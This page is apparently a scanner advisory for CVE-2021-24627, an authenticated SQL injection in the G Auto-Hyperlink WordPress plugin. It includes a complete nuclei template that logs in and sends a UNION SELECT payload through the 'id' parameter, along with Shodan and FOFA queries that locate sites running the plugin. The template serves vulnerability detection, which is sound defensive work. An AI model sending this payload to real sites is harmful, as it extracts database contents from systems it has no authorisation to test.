G Auto-Hyperlink <= 1.0.1 - SQL Injection

highseverity

7.2CVSS score

6.5%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

The G Auto-Hyperlink WordPress plugin through 1.0.1 does not sanitise or escape an 'id' GET parameter before using it in a SQL statement, to select data to be displayed in the admin dashboard, leading to an authenticated SQL injection

Impact

Authenticated administrators can exploit SQL injection in the admin dashboard to extract database contents, potentially exposing sensitive WordPress configuration and user data.

Fix

Update to G Auto-Hyperlink version 1.0.2 or later.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=g-auto-hyperlink-edit&id=-2198+UNION+ALL+SELECT+NULL%2Cmd5%28{{num}}%29%2Ccurrent_user%28%29%2Ccurrent_user%28%29%2CNULL%2CNULL%2C…
Positive when: contains in body_2 "c8c605999f3d8352d7bb792cf3fdb25b" and "Keyword" and "g-auto-hyperlink-edit" AND contains in header_2 "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-24627 -u <target>

The full check

id: CVE-2021-24627

info:
  name: G Auto-Hyperlink <= 1.0.1 - SQL Injection
  author: theamanrawat
  severity: high
  description: |
    The G Auto-Hyperlink WordPress plugin through 1.0.1 does not sanitise or escape an 'id' GET parameter before using it in a SQL statement, to select data to be displayed in the admin dashboard, leading to an authenticated SQL injection
  impact: |
    Authenticated administrators can exploit SQL injection in the admin dashboard to extract database contents, potentially exposing sensitive WordPress configuration and user data.
  remediation: |
    Update to G Auto-Hyperlink version 1.0.2 or later.
  reference:
    - https://wordpress.org/plugins/g-auto-hyperlink/
    - https://wpscan.com/vulnerability/c04ea768-150f-41b8-b08c-78d1ae006bbb
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24627
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2021-24627
    cwe-id: CWE-89
    epss-score: 0.0649
    epss-percentile: 0.93813
    cpe: cpe:2.3:a:g_auto-hyperlink_project:g_auto-hyperlink:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: g_auto-hyperlink_project
    product: g_auto-hyperlink
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/g-auto-hyperlink/
    fofa-query: body=/wp-content/plugins/g-auto-hyperlink/
    publicwww-query: /wp-content/plugins/g-auto-hyperlink/
  tags: cve2021,cve,sqli,wpscan,wordpress,wp-plugin,wp,g-auto-hyperlink,authenticated,g_auto-hyperlink_project,vuln
variables:
  num: 999999999

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+I
      - |
        GET /wp-admin/admin.php?page=g-auto-hyperlink-edit&id=-2198+UNION+ALL+SELECT+NULL%2Cmd5%28{{num}}%29%2Ccurrent_user%28%29%2Ccurrent_user%28%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - "c8c605999f3d8352d7bb792cf3fdb25b"
          - "Keyword"
          - "g-auto-hyperlink-edit"
        condition: and

      - type: word
        part: header_2
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from